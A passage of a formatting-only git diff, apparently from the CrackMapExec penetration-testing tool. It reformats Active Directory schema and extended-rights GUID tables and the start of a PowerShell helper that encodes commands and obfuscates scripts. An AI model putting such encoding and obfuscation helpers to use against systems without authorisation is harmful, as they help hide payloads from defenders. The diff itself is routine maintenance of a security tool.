"a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9": "ms-DS-isRODC", + "075a42c9-c55a-45b1-ac93-eb086b31f610": "ms-WMI-intFlags2", + "ba305f6c-47e3-11d0-a1a6-00c04fd930c9": "Print-Spooling", + "93095ed3-6f30-4bdd-b734-65d569f5f7c9": "msSFU-30-Domains", + "fa06d1f4-7922-4aad-b79c-b2201f54417c": "ms-DS-Token-Group-Names-Global-And-Universal", + "9a7ad947-ca53-11d1-bbd0-0080c76670c0": "Extended-Attribute-Info", + "8ab15858-683e-466d-877f-d640e1f9a611": "ms-DS-Last-Known-RDN", + "f29fa736-de09-4be4-b23a-e734c124bacc": "ms-WMI-intFlags3", + "ba305f73-47e3-11d0-a1a6-00c04fd930c9": "Print-Stapling-Supported", + "084a944b-e150-4bfe-9345-40e1aedaebba": "msSFU-30-Yp-Servers", + "bf967a84-0de6-11d0-a285-00aa003049e2": "Class-Store", + "19195a5d-6da0-11d0-afd3-00c04fd930c9": "NTDS-Site-Settings", + "523fc6c8-9af4-4a02-9cd7-3dea129eeb27": "ms-DS-Token-Group-Names-No-GC-Acceptable", + "bf967966-0de6-11d0-a285-00aa003049e2": "Extended-Chars-Allowed", + "c523e9c0-33b5-4ac8-8923-b57b927f42f6": "ms-DS-KeyVersionNumber", + "bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2": "ms-WMI-intFlags4", + "281416c9-1968-11d0-a28f-00aa003049e2": "Print-Start-Time", + "04ee6aa6-f83b-469a-bf5a-3c00d3634669": "msSFU-30-Max-Gid-Number", + "9a7ad948-ca53-11d1-bbd0-0080c76670c0": "Extended-Class-Info", + "ad7940f8-e43a-4a42-83bc-d688e59ea605": "ms-DS-Logon-Time-Sync-Interval", + "fb920c2c-f294-4426-8ac1-d24b42aa2bce": "ms-WMI-intMax", + "ba305f6b-47e3-11d0-a1a6-00c04fd930c9": "Print-Status", + "ec998437-d944-4a28-8500-217588adfc75": "msSFU-30-Max-Uid-Number", + "bf967a85-0de6-11d0-a285-00aa003049e2": "Com-Connection-Point", + "2a132586-9373-11d1-aebc-0000f80367c1": "NTFRS-Member", + "bf967ab0-0de6-11d0-a285-00aa003049e2": "Security-Principal", + "bf967972-0de6-11d0-a285-00aa003049e2": "Extension-Name", + "60234769-4819-4615-a1b2-49d2f119acb5": "ms-DS-Mastered-By", + "68c2e3ba-9837-4c70-98e0-f0c33695d023": "ms-WMI-intMin", + "244b296e-5abd-11d0-afd2-00c04fd930c9": "Printer-Name", + "585c9d5e-f599-4f07-9cf9-4373af4b89d3": "msSFU-30-NSMAP-Field-Position", + "7ece040f-9327-4cdc-aad3-037adfe62639": "ms-DS-User-Allowed-NTLM-Network-Authentication", + "d24e2846-1dd9-4bcf-99d7-a6227cc86da7": "Extra-Columns", + "fdd337f5-4999-4fce-b252-8ff9c9b43875": "ms-DS-Maximum-Password-Age", + "6af565f6-a749-4b72-9634-3c5d47e6b4e0": "ms-WMI-intValidValues", + "bf967a01-0de6-11d0-a285-00aa003049e2": "Prior-Set-Time", + "c875d82d-2848-4cec-bb50-3c5486d09d57": "msSFU-30-Posix-Member", + "bf967a86-0de6-11d0-a285-00aa003049e2": "Computer", + "5245803a-ca6a-11d0-afff-0000f80367c1": "NTFRS-Replica-Set", + "278947b9-5222-435e-96b7-1503858c2b48": "ms-DS-Service-Allowed-NTLM-Network-Authentication", + "bf967974-0de6-11d0-a285-00aa003049e2": "Facsimile-Telephone-Number", + "2a74f878-4d9c-49f9-97b3-6767d1cbd9a3": "ms-DS-Minimum-Password-Age", + "f4d8085a-8c5b-4785-959b-dc585566e445": "ms-WMI-int8Default", + "bf967a02-0de6-11d0-a285-00aa003049e2": "Prior-Value", + "7bd76b92-3244-438a-ada6-24f5ea34381e": "msSFU-30-Posix-Member-Of", + "aacd2170-482a-44c6-b66e-42c2f66a285c": "ms-DS-Strong-NTLM-Policy", + "d9e18315-8939-11d1-aebc-0000f80367c1": "File-Ext-Priority", + "b21b3439-4c3a-441c-bb5f-08f20e9b315e": "ms-DS-Minimum-Password-Length", + "e3d8b547-003d-4946-a32b-dc7cedc96b74": "ms-WMI-int8Max", + "281416c7-1968-11d0-a28f-00aa003049e2": "Priority", + "97d2bf65-0466-4852-a25a-ec20f57ee36c": "msSFU-30-Netgroup-Host-At-Domain", + "bf967a87-0de6-11d0-a285-00aa003049e2": "Configuration", + "f780acc2-56f0-11d1-a9c6-0000f80367c1": "NTFRS-Settings", + "bf967976-0de6-11d0-a285-00aa003049e2": "Flags", + "f9c9a57c-3941-438d-bebf-0edaf2aca187": "ms-DS-OIDToGroup-Link", + "ed1489d1-54cc-4066-b368-a00daa2664f1": "ms-WMI-int8Min", + "bf967a03-0de6-11d0-a285-00aa003049e2": "Private-Key", + "a9e84eed-e630-4b67-b4b3-cad2a82d345e": "msSFU-30-Netgroup-User-At-Domain", + "ab6a1156-4dc7-40f5-9180-8e4ce42fe5cd": "ms-DS-AuthN-Policy", + "b7b13117-b82e-11d0-afee-0000f80367c1": "Flat-Name", + "1a3d0d20-5844-4199-ad25-0f5039a76ada": "ms-DS-OIDToGroup-Link-BL", + "103519a9-c002-441b-981a-b0b3e012c803": "ms-WMI-int8ValidValues", + "19405b9a-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Attributes", + "0dea42f5-278d-4157-b4a7-49b59664915b": "msSFU-30-Is-Valid-Container", + "5cb41ecf-0e4c-11d0-a286-00aa003049e2": "Connection-Point", + "2a132588-9373-11d1-aebc-0000f80367c1": "NTFRS-Subscriber", + "b002f407-1340-41eb-bca0-bd7d938e25a9": "ms-DS-Source-Anchor", + "bf967977-0de6-11d0-a285-00aa003049e2": "Force-Logoff", + "fed81bb7-768c-4c2f-9641-2245de34794d": "ms-DS-Password-History-Length", + "6736809f-2064-443e-a145-81262b1f1366": "ms-WMI-Mof", + "19405b98-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Display-Name", + "4503d2a3-3d70-41b8-b077-dff123c15865": "msSFU-30-Crypt-Method", + "5cb41ed0-0e4c-11d0-a286-00aa003049e2": "Contact", + "34f6bdf5-2e79-4c3b-8e14-3d93b75aab89": "ms-DS-Object-SOA", + "3e97891e-8c01-11d0-afda-00c04fd930c9": "Foreign-Identifier", + "db68054b-c9c3-4bf0-b15b-0fb52552a610": "ms-DS-Password-Complexity-Enabled", + "c6c8ace5-7e81-42af-ad72-77412c5941c4": "ms-WMI-Name", + "19405b9b-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Holder", + "e65c30db-316c-4060-a3a0-387b083f09cd": "ms-TS-Profile-Path", + "bf967aa7-0de6-11d0-a285-00aa003049e2": "Person", + "2a132587-9373-11d1-aebc-0000f80367c1": "NTFRS-Subscriptions", + "7bfdcb88-4807-11d1-a9c3-0000f80367c1": "Friendly-Names", + "75ccdd8f-af6c-4487-bb4b-69e4d38a959c": "ms-DS-Password-Reversible-Encryption-Enabled", + "eaba628f-eb8e-4fe9-83fc-693be695559b": "ms-WMI-NormalizedClass", + "19405b99-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Value", + "5d3510f0-c4e7-4122-b91f-a20add90e246": "ms-TS-Home-Directory", + "bf967ab7-0de6-11d0-a285-00aa003049e2": "Top", + "9a7ad949-ca53-11d1-bbd0-0080c76670c0": "From-Entry", + "94f2800c-531f-4aeb-975d-48ac39fd8ca4": "ms-DS-Local-Effective-Deletion-Time", + "27e81485-b1b0-4a8b-bedd-ce19a837e26e": "ms-WMI-Parm1", + "d9e18317-8939-11d1-aebc-0000f80367c1": "Product-Code", + "5f0a24d9-dffa-4cd9-acbf-a0680c03731e": "ms-TS-Home-Drive", + "bf967a8b-0de6-11d0-a285-00aa003049e2": "Container", + "bf967aa3-0de6-11d0-a285-00aa003049e2": "Organization", + "bf967979-0de6-11d0-a285-00aa003049e2": "From-Server", + "4ad6016b-b0d2-4c9b-93b6-5964b17b968c": "ms-DS-Local-Effective-Recycle-Time", + "0003508e-9c42-4a76-a8f4-38bf64bab0de": "ms-WMI-Parm2", + "bf967a05-0de6-11d0-a285-00aa003049e2": "Profile-Path", + "3a0cd464-bc54-40e7-93ae-a646a6ecc4b4": "ms-TS-Allow-Logon", + "bf967aa4-0de6-11d0-a285-00aa003049e2": "Organizational-Person", + "bf967a90-0de6-11d0-a285-00aa003049e2": "Sam-Domain", + "2a132578-9373-11d1-aebc-0000f80367c1": "Frs-Computer-Reference", + "b05bda89-76af-468a-b892-1be55558ecc8": "ms-DS-Lockout-Observation-Window", + "45958fb6-52bd-48ce-9f9f-c2712d9f2bfc": "ms-WMI-Parm3", + "e1aea402-cd5b-11d0-afff-0000f80367c1": "Proxied-Object-Name", + "15177226-8642-468b-8c48-03ddfd004982": "ms-TS-Remote-Control", + "8297931e-86d3-11d0-afda-00c04fd930c9": "Control-Access-Right", + "2a132579-9373-11d1-aebc-0000f80367c1": "Frs-Computer-Reference-BL", + "421f889a-472e-4fe4-8eb9-e1d0bc6071b2": "ms-DS-Lockout-Duration", + "3800d5a3-f1ce-4b82-a59a-1528ea795f59": "ms-WMI-Parm4", + "bf967a06-0de6-11d0-a285-00aa003049e2": "Proxy-Addresses", + "326f7089-53d8-4784-b814-46d8535110d2": "ms-TS-Max-Disconnection-Time", + "a8df74bf-c5ea-11d1-bbcb-0080c76670c0": "Organizational-Role", + "2a13257a-9373-11d1-aebc-0000f80367c1": "FRS-Control-Data-Creation", + "b8c8c35e-4a19-4a95-99d0-69fe4446286f": "ms-DS-Lockout-Threshold", + "ab920883-e7f8-4d72-b4a0-c0449897509d": "ms-WMI-PropertyName", + "5fd424d6-1262-11d0-a060-00aa006c33ed": "Proxy-Generation-Enabled", + "1d960ee2-6464-4e95-a781-e3b5cd5f9588": "ms-TS-Max-Connection-Time", + "bf967a8c-0de6-11d0-a285-00aa003049e2": "Country", + "2a13257b-9373-11d1-aebc-0000f80367c1": "FRS-Control-Inbound-Backlog", + "64c80f48-cdd2-4881-a86d-4e97b6f561fc": "ms-DS-PSO-Applies-To", + "65fff93e-35e3-45a3-85ae-876c6718297f": "ms-WMI-Query", + "bf967a07-0de6-11d0-a285-00aa003049e2": "Proxy-Lifetime", + "ff739e9c-6bb7-460e-b221-e250f3de0f95": "ms-TS-Max-Idle-Time", + "bf967aa5-0de6-11d0-a285-00aa003049e2": "Organizational-Unit", + "2a13257c-9373-11d1-aebc-0000f80367c1": "FRS-Control-Outbound-Backlog", + "5e6cf031-bda8-43c8-aca4-8fee4127005b": "ms-DS-PSO-Applied", + "7d3cfa98-c17b-4254-8bd7-4de9b932a345": "ms-WMI-QueryLanguage", + "80a67e28-9f22-11d0-afdd-00c04fd930c9": "Public-Key-Policy", + "366ed7ca-3e18-4c7f-abae-351a01e4b4f7": "ms-TS-Reconnection-Action", + "167758ca-47f3-11d1-a9c3-0000f80367c1": "CRL-Distribution-Point", + "1be8f171-a9ff-11d0-afe2-00c04fd930c9": "FRS-Directory-Filter", + "eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2": "ms-DS-Required-Domain-Behavior-Version", + "87b78d51-405f-4b7f-80ed-2bd28786f48d": "ms-WMI-ScopeGuid", + "b4b54e50-943a-11d1-aebd-0000f80367c1": "Purported-Search", + "1cf41bba-5604-463e-94d6-1a1287b72ca3": "ms-TS-Broken-Connection-Action", + "bf967aa6-0de6-11d0-a285-00aa003049e2": "Package-Registration", + "1be8f177-a9ff-11d0-afe2-00c04fd930c9": "FRS-DS-Poll", + "4beca2e8-a653-41b2-8fee-721575474bec": "ms-DS-Required-Forest-Behavior-Version", + "34f7ed6c-615d-418d-aa00-549a7d7be03e": "ms-WMI-SourceOrganization", + "bf967a09-0de6-11d0-a285-00aa003049e2": "Pwd-History-Length", + "23572aaf-29dd-44ea-b0fa-7e8438b9a4a3": "ms-TS-Connect-Client-Drives", + "bf967a8d-0de6-11d0-a285-00aa003049e2": "Cross-Ref", + "52458020-ca6a-11d0-afff-0000f80367c1": "FRS-Extensions", + "b77ea093-88d0-4780-9a98-911f8e8b1dca": "ms-DS-Resultant-PSO", + "152e42b6-37c5-4f55-ab48-1606384a9aea": "ms-WMI-stringDefault", + "bf967a0a-0de6-11d0-a285-00aa003049e2": "Pwd-Last-Set", + "8ce6a937-871b-4c92-b285-d99d4036681c": "ms-TS-Connect-Printer-Drives", + "1be8f178-a9ff-11d0-afe2-00c04fd930c9": "FRS-Fault-Condition", + "456374ac-1f0a-4617-93cf-bc55a7c9d341": "ms-DS-Password-Settings-Precedence", + "37609d31-a2bf-4b58-8f53-2b64e57a076d": "ms-WMI-stringValidValues", + "bf967a0b-0de6-11d0-a285-00aa003049e2": "Pwd-Properties", + "c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6": "ms-TS-Default-To-Main-Printer", + "ef9e60e0-56f7-11d1-a9c6-0000f80367c1": "Cross-Ref-Container", + "b7b13122-b82e-11d0-afee-0000f80367c1": "Physical-Location", + "1be8f170-a9ff-11d0-afe2-00c04fd930c9": "FRS-File-Filter", + "d1e169a4-ebe9-49bf-8fcb-8aef3874592d": "ms-DS-Max-Values", + "95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62": "ms-WMI-TargetClass", + "80a67e4e-9f22-11d0-afdd-00c04fd930c9": "Quality-Of-Service", + "a744f666-3d3c-4cc8-834b-9d4f6f687b8b": "ms-TS-Work-Directory", + "2a13257d-9373-11d1-aebc-0000f80367c1": "FRS-Flags", + "cbf7e6cd-85a4-4314-8939-8bfe80597835": "ms-DS-Members-For-Az-Role", + "1c4ab61f-3420-44e5-849d-8b5dbf60feb7": "ms-WMI-TargetNameSpace", + "cbf70a26-7e78-11d2-9921-0000f87a57d4": "Query-Filter", + "9201ac6f-1d69-4dfb-802e-d95510109599": "ms-TS-Initial-Program", + "bf967a8e-0de6-11d0-a285-00aa003049e2": "Device", + "e5209ca2-3bba-11d2-90cc-00c04fd91ab1": "PKI-Certificate-Template", + "5245801e-ca6a-11d0-afff-0000f80367c1": "FRS-Level-Limit", + "ececcd20-a7e0-4688-9ccf-02ece5e287f5": "ms-DS-Members-For-Az-Role-BL", + "c44f67a5-7de5-4a1f-92d9-662b57364b77": "ms-WMI-TargetObject", + "e1aea404-cd5b-11d0-afff-0000f80367c1": "Query-Policy-BL", + "40e1c407-4344-40f3-ab43-3625a34a63a2": "ms-TS-Endpoint-Data", + "2a13257e-9373-11d1-aebc-0000f80367c1": "FRS-Member-Reference", + "5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9": "ms-DS-NC-Type", + "5006a79a-6bfe-4561-9f52-13cf4dd3e560": "ms-WMI-TargetPath", + "e1aea403-cd5b-11d0-afff-0000f80367c1": "Query-Policy-Object", + "377ade80-e2d8-46c5-9bcd-6d9dec93b35e": "ms-TS-Endpoint-Type", + "8447f9f2-1027-11d0-a05f-00aa006c33ed": "Dfs-Configuration", + "ee4aa692-3bba-11d2-90cc-00c04fd91ab1": "PKI-Enrollment-Service", + "2a13257f-9373-11d1-aebc-0000f80367c1": "FRS-Member-Reference-BL", + "cafcb1de-f23c-46b5-adf7-1e64957bd5db": "ms-DS-Non-Members", + "ca2a281e-262b-4ff7-b419-bc123352a4e9": "ms-WMI-TargetType", + "7bfdcb86-4807-11d1-a9c3-0000f80367c1": "QueryPoint", + "3c08b569-801f-4158-b17b-e363d6ae696a": "ms-TS-Endpoint-Plugin", } EXTENDED_RIGHTS = { - 'ab721a52-1e2f-11d0-9819-00aa0040529b': 'Domain-Administer-Server', - 'ab721a53-1e2f-11d0-9819-00aa0040529b': 'User-Change-Password', - '00299570-246d-11d0-a768-00aa006e0529': 'User-Force-Change-Password', - 'ab721a55-1e2f-11d0-9819-00aa0040529b': 'Send-To', - 'c7407360-20bf-11d0-a768-00aa006e0529': 'Domain-Password', - '59ba2f42-79a2-11d0-9020-00c04fc2d3cf': 'General-Information', - '4c164200-20c0-11d0-a768-00aa006e0529': 'User-Account-Restrictions', - '5f202010-79a5-11d0-9020-00c04fc2d4cf': 'User-Logon', - 'bc0ac240-79a9-11d0-9020-00c04fc2d4cf': 'Membership', - 'a1990816-4298-11d1-ade2-00c04fd8d5cd': 'Open-Address-Book', - 'e45795b2-9455-11d1-aebd-0000f80367c1': 'Email-Information', - 'e45795b3-9455-11d1-aebd-0000f80367c1': 'Web-Information', - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes', - '1131f6ab-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Synchronize', - '1131f6ac-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Manage-Topology', - 'e12b56b6-0a95-11d1-adbb-00c04fd8d5cd': 'Change-Schema-Master', - 'd58d5f36-0a98-11d1-adbb-00c04fd8d5cd': 'Change-Rid-Master', - 'fec364e0-0a98-11d1-adbb-00c04fd8d5cd': 'Do-Garbage-Collection', - '0bc1554e-0a99-11d1-adbb-00c04fd8d5cd': 'Recalculate-Hierarchy', - '1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd': 'Allocate-Rids', - 'bae50096-4752-11d1-9052-00c04fc2d4cf': 'Change-PDC', - '440820ad-65b4-11d1-a3da-0000f875ae0d': 'Add-GUID', - '014bf69c-7b3b-11d1-85f6-08002be74fab': 'Change-Domain-Master', - '4b6e08c0-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-Dead-Letter', - '4b6e08c1-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-Dead-Letter', - '4b6e08c2-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-computer-Journal', - '4b6e08c3-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-computer-Journal', - '06bd3200-df3e-11d1-9c86-006008764d0e': 'msmq-Receive', - '06bd3201-df3e-11d1-9c86-006008764d0e': 'msmq-Peek', - '06bd3202-df3e-11d1-9c86-006008764d0e': 'msmq-Send', - '06bd3203-df3e-11d1-9c86-006008764d0e': 'msmq-Receive-journal', - 'b4e60130-df3f-11d1-9c86-006008764d0e': 'msmq-Open-Connector', - 'edacfd8f-ffb3-11d1-b41d-00a0c968f939': 'Apply-Group-Policy', - '037088f8-0ae1-11d2-b422-00a0c968f939': 'RAS-Information', - '9923a32a-3607-11d2-b9be-0000f87a36b2': 'DS-Install-Replica', - 'cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd': 'Change-Infrastructure-Master', - 'be2bb760-7f46-11d2-b9ad-00c04f79f805': 'Update-Schema-Cache', - '62dd28a8-7f46-11d2-b9ad-00c04f79f805': 'Recalculate-Security-Inheritance', - '69ae6200-7f46-11d2-b9ad-00c04f79f805': 'DS-Check-Stale-Phantoms', - '0e10c968-78fb-11d2-90d4-00c04f79dc55': 'Certificate-Enrollment', - 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Self-Membership', - '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'Validated-DNS-Host-Name', - 'b7b1b3dd-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Planning', - '9432c620-033c-4db7-8b58-14ef6d0bf477': 'Refresh-Group-Cache', - '91d67418-0135-4acc-8d79-c08e857cfbec': 'SAM-Enumerate-Entire-Domain', - 'b7b1b3de-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Logging', - 'b8119fd0-04f6-4762-ab7a-4986c76b3f9a': 'Domain-Other-Parameters', - 'e2a36dc9-ae17-47c3-b58b-be34c55ba633': 'Create-Inbound-Forest-Trust', - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes-All', - 'ba33815a-4f93-4c76-87f3-57574bff8109': 'Migrate-SID-History', - '45ec5156-db7e-47bb-b53f-dbeb2d03c40f': 'Reanimate-Tombstones', - '2f16c4a5-b98e-432c-952a-cb388ba33f2e': 'DS-Execute-Intentions-Script', - 'f98340fb-7c5b-4cdb-a00b-2ebdfa115a96': 'DS-Replication-Monitor-Topology', - '280f369c-67c7-438e-ae98-1d46f3c6f541': 'Update-Password-Not-Required-Bit', - 'ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501': 'Unexpire-Password', - '05c74c5e-4deb-43b4-bd9f-86664c2a7fd5': 'Enable-Per-User-Reversibly-Encrypted-Password', - '4ecc03fe-ffc0-4947-b630-eb672a8a9dbc': 'DS-Query-Self-Quota', - '91e647de-d96f-4b70-9557-d63ff4f3ccd8': 'Private-Information', - '1131f6ae-9c07-11d1-f79f-00c04fc2dcd2': 'Read-Only-Replication-Secret-Synchronization', - '5805bc62-bdc9-4428-a5e2-856a0f4c185e': 'Terminal-Server-License-Server', - '1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8': 'Reload-SSL-Certificate', - '89e95b76-444d-4c62-991a-0facbeda640c': 'DS-Replication-Get-Changes-In-Filtered-Set', - '7726b9d5-a4b4-4288-a6b2-dce952e80a7f': 'Run-Protect-Admin-Groups-Task', - '7c0e2a7c-a419-48e4-a995-10180aad54dd': 'Manage-Optional-Features', - '3e0f7e18-2c7a-4c10-ba82-4d926db99a3e': 'DS-Clone-Domain-Controller', - 'd31a8757-2447-4545-8081-3bb610cacbf2': 'Validated-MS-DS-Behavior-Version', - '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'Validated-MS-DS-Additional-DNS-Host-Name', - 'a05b8cc2-17bc-4802-a710-e7c15ab866a2': 'Certificate-AutoEnrollment', - '4125c71f-7fac-4ff0-bcb7-f09a41325286': 'DS-Set-Owner', - '88a9933e-e5c8-4f2a-9dd7-2527416b8092': 'DS-Bypass-Quota', - '084c93a2-620d-4879-a836-f0ae47de0e89': 'DS-Read-Partition-Secrets', - '94825a8d-b171-4116-8146-1e34d8f54401': 'DS-Write-Partition-Secrets', - '9b026da6-0d3c-465c-8bee-5199d7165cba': 'DS-Validated-Write-Computer', - 'ab721a54-1e2f-11d0-9819-00aa0040529b': 'Send-As', - 'ab721a56-1e2f-11d0-9819-00aa0040529b': 'Receive-As', - '77b5b886-944a-11d1-aebd-0000f80367c1': 'Personal-Information', - 'e48d0154-bcf8-11d1-8702-00c04fb96050': 'Public-Information', - 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Validated-SPN', - '68b1d179-0d15-4d4f-ab71-46152e79a7bc': 'Allowed-To-Authenticate', - 'ffa6f046-ca4b-4feb-b40d-04dfee722543': 'MS-TS-GatewayAccess', -} \ No newline at end of file + "ab721a52-1e2f-11d0-9819-00aa0040529b": "Domain-Administer-Server", + "ab721a53-1e2f-11d0-9819-00aa0040529b": "User-Change-Password", + "00299570-246d-11d0-a768-00aa006e0529": "User-Force-Change-Password", + "ab721a55-1e2f-11d0-9819-00aa0040529b": "Send-To", + "c7407360-20bf-11d0-a768-00aa006e0529": "Domain-Password", + "59ba2f42-79a2-11d0-9020-00c04fc2d3cf": "General-Information", + "4c164200-20c0-11d0-a768-00aa006e0529": "User-Account-Restrictions", + "5f202010-79a5-11d0-9020-00c04fc2d4cf": "User-Logon", + "bc0ac240-79a9-11d0-9020-00c04fc2d4cf": "Membership", + "a1990816-4298-11d1-ade2-00c04fd8d5cd": "Open-Address-Book", + "e45795b2-9455-11d1-aebd-0000f80367c1": "Email-Information", + "e45795b3-9455-11d1-aebd-0000f80367c1": "Web-Information", + "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes", + "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Synchronize", + "1131f6ac-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Manage-Topology", + "e12b56b6-0a95-11d1-adbb-00c04fd8d5cd": "Change-Schema-Master", + "d58d5f36-0a98-11d1-adbb-00c04fd8d5cd": "Change-Rid-Master", + "fec364e0-0a98-11d1-adbb-00c04fd8d5cd": "Do-Garbage-Collection", + "0bc1554e-0a99-11d1-adbb-00c04fd8d5cd": "Recalculate-Hierarchy", + "1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd": "Allocate-Rids", + "bae50096-4752-11d1-9052-00c04fc2d4cf": "Change-PDC", + "440820ad-65b4-11d1-a3da-0000f875ae0d": "Add-GUID", + "014bf69c-7b3b-11d1-85f6-08002be74fab": "Change-Domain-Master", + "4b6e08c0-df3c-11d1-9c86-006008764d0e": "msmq-Receive-Dead-Letter", + "4b6e08c1-df3c-11d1-9c86-006008764d0e": "msmq-Peek-Dead-Letter", + "4b6e08c2-df3c-11d1-9c86-006008764d0e": "msmq-Receive-computer-Journal", + "4b6e08c3-df3c-11d1-9c86-006008764d0e": "msmq-Peek-computer-Journal", + "06bd3200-df3e-11d1-9c86-006008764d0e": "msmq-Receive", + "06bd3201-df3e-11d1-9c86-006008764d0e": "msmq-Peek", + "06bd3202-df3e-11d1-9c86-006008764d0e": "msmq-Send", + "06bd3203-df3e-11d1-9c86-006008764d0e": "msmq-Receive-journal", + "b4e60130-df3f-11d1-9c86-006008764d0e": "msmq-Open-Connector", + "edacfd8f-ffb3-11d1-b41d-00a0c968f939": "Apply-Group-Policy", + "037088f8-0ae1-11d2-b422-00a0c968f939": "RAS-Information", + "9923a32a-3607-11d2-b9be-0000f87a36b2": "DS-Install-Replica", + "cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd": "Change-Infrastructure-Master", + "be2bb760-7f46-11d2-b9ad-00c04f79f805": "Update-Schema-Cache", + "62dd28a8-7f46-11d2-b9ad-00c04f79f805": "Recalculate-Security-Inheritance", + "69ae6200-7f46-11d2-b9ad-00c04f79f805": "DS-Check-Stale-Phantoms", + "0e10c968-78fb-11d2-90d4-00c04f79dc55": "Certificate-Enrollment", + "bf9679c0-0de6-11d0-a285-00aa003049e2": "Self-Membership", + "72e39547-7b18-11d1-adef-00c04fd8d5cd": "Validated-DNS-Host-Name", + "b7b1b3dd-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Planning", + "9432c620-033c-4db7-8b58-14ef6d0bf477": "Refresh-Group-Cache", + "91d67418-0135-4acc-8d79-c08e857cfbec": "SAM-Enumerate-Entire-Domain", + "b7b1b3de-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Logging", + "b8119fd0-04f6-4762-ab7a-4986c76b3f9a": "Domain-Other-Parameters", + "e2a36dc9-ae17-47c3-b58b-be34c55ba633": "Create-Inbound-Forest-Trust", + "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All", + "ba33815a-4f93-4c76-87f3-57574bff8109": "Migrate-SID-History", + "45ec5156-db7e-47bb-b53f-dbeb2d03c40f": "Reanimate-Tombstones", + "2f16c4a5-b98e-432c-952a-cb388ba33f2e": "DS-Execute-Intentions-Script", + "f98340fb-7c5b-4cdb-a00b-2ebdfa115a96": "DS-Replication-Monitor-Topology", + "280f369c-67c7-438e-ae98-1d46f3c6f541": "Update-Password-Not-Required-Bit", + "ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501": "Unexpire-Password", + "05c74c5e-4deb-43b4-bd9f-86664c2a7fd5": "Enable-Per-User-Reversibly-Encrypted-Password", + "4ecc03fe-ffc0-4947-b630-eb672a8a9dbc": "DS-Query-Self-Quota", + "91e647de-d96f-4b70-9557-d63ff4f3ccd8": "Private-Information", + "1131f6ae-9c07-11d1-f79f-00c04fc2dcd2": "Read-Only-Replication-Secret-Synchronization", + "5805bc62-bdc9-4428-a5e2-856a0f4c185e": "Terminal-Server-License-Server", + "1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8": "Reload-SSL-Certificate", + "89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set", + "7726b9d5-a4b4-4288-a6b2-dce952e80a7f": "Run-Protect-Admin-Groups-Task", + "7c0e2a7c-a419-48e4-a995-10180aad54dd": "Manage-Optional-Features", + "3e0f7e18-2c7a-4c10-ba82-4d926db99a3e": "DS-Clone-Domain-Controller", + "d31a8757-2447-4545-8081-3bb610cacbf2": "Validated-MS-DS-Behavior-Version", + "80863791-dbe9-4eb8-837e-7f0ab55d9ac7": "Validated-MS-DS-Additional-DNS-Host-Name", + "a05b8cc2-17bc-4802-a710-e7c15ab866a2": "Certificate-AutoEnrollment", + "4125c71f-7fac-4ff0-bcb7-f09a41325286": "DS-Set-Owner", + "88a9933e-e5c8-4f2a-9dd7-2527416b8092": "DS-Bypass-Quota", + "084c93a2-620d-4879-a836-f0ae47de0e89": "DS-Read-Partition-Secrets", + "94825a8d-b171-4116-8146-1e34d8f54401": "DS-Write-Partition-Secrets", + "9b026da6-0d3c-465c-8bee-5199d7165cba": "DS-Validated-Write-Computer", + "ab721a54-1e2f-11d0-9819-00aa0040529b": "Send-As", + "ab721a56-1e2f-11d0-9819-00aa0040529b": "Receive-As", + "77b5b886-944a-11d1-aebd-0000f80367c1": "Personal-Information", + "e48d0154-bcf8-11d1-8702-00c04fb96050": "Public-Information", + "f3a64788-5306-11d1-a9c5-0000f80367c1": "Validated-SPN", + "68b1d179-0d15-4d4f-ab71-46152e79a7bc": "Allowed-To-Authenticate", + "ffa6f046-ca4b-4feb-b40d-04dfee722543": "MS-TS-GatewayAccess", +} diff --git a/cme/helpers/powershell.py b/cme/helpers/powershell.py index a591f83c..6d5bc08f 100644 --- a/cme/helpers/powershell.py +++ b/cme/helpers/powershell.py @@ -19,42 +19,41 @@ def get_ps_script(path): def encode_ps_command(command): - return b64encode(command.encode('UTF-16LE')).decode() + return b64encode(command.encode("UTF-16LE")).decode() def is_powershell_installed(): - if which('powershell'): + if which("powershell"): return True return False def obfs_ps_script(path_to_script): - ps_script = path_to_script.split('/')[-1] - obfs_script_dir = os.path.join(CME_PATH, 'obfuscated_scripts') + ps_script = path_to_script.split("/")[-1] + obfs_script_dir = os.path.join(CME_PATH, "obfuscated_scripts") obfs_ps_script = os.path.join(obfs_script_dir, ps_script) if is_powershell_installed() and obfuscate_ps_scripts: - if 